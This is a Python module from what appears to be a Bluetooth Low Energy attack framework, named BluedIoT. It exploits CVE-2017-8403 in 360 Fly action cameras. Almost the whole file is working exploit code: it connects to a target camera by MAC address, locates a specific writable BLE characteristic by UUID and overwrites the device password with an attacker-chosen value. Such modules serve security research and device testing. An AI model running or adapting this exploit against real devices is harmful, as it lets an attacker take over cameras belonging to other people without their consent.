from bluepy.btle import Scanner, DefaultDelegate
from os import geteuid
from bluepy.btle import UUID, Peripheral
from modules._module import Module
from utils.custom_print import print_info, print_error, print_ok
from utils.check_root import is_root
from utildata.dataset_options import Option


class HomeModule(Module):

    def __init__(self):
        information = {"Name": "BluedIoT",
                       "Description": "This module allows you to change the password in 360 Fly Action Cameras making use of the vulnerability indicated in the CVE-2017-8403.",
                       "privileges": "root",
                       "OS": "Linux",
                       "Author": "@josueencinar",
                       "Reference": "http://www.elladodelmal.com/2017/05/bluediot-como-hackear-360fly-action.html"}

        # -----------name-----default_value--description--required?
        options = {"bmac": Option.create(name="bmac", required=True),
                   "password": Option.create(name="password", value="1234", required=True, description="Password to overwrite the current one "),
                   "iface": Option.create(name="iface", value=0, description='Ble iface index (default to 0 for hci0)')
                   }

        # Constructor of the parent class
        super(HomeModule, self).__init__(information, options)

    # This function must be always implemented, it is called by the run option
    @is_root
    def run(self):
        uuid = "36d25039-5cbc-5ee5-b688-b90fda300d6"
        bmac = self.args["bmac"]
        try:
            iface = int(self.args["iface"])
        except:
            iface = 0
        print_info(f"Trying to connect {bmac}")
        try:
            p = Peripheral(bmac, "random", iface)
            print_ok("connected")
        except KeyboardInterrupt:
            print_info("Interrupted... exit run")
            return 
        except:
            print_error("Failed to connect")
            return
        try:
            ch = p.getCharacteristics(uuid=uuid)[0]
            if "WRITE" in ch.propertiesToString():
                print_ok("Good! It's writable!")
            else:
                print_error("It is not writable")
                return

            hex_password =  bytes.fromhex(self.args['password'].replace("0x",""))
            print_info(f"Updating Password in {bmac}")
            ch.write(hex_password)
            print_ok("Done!")
        except:
            print_error("It was not possible to write")        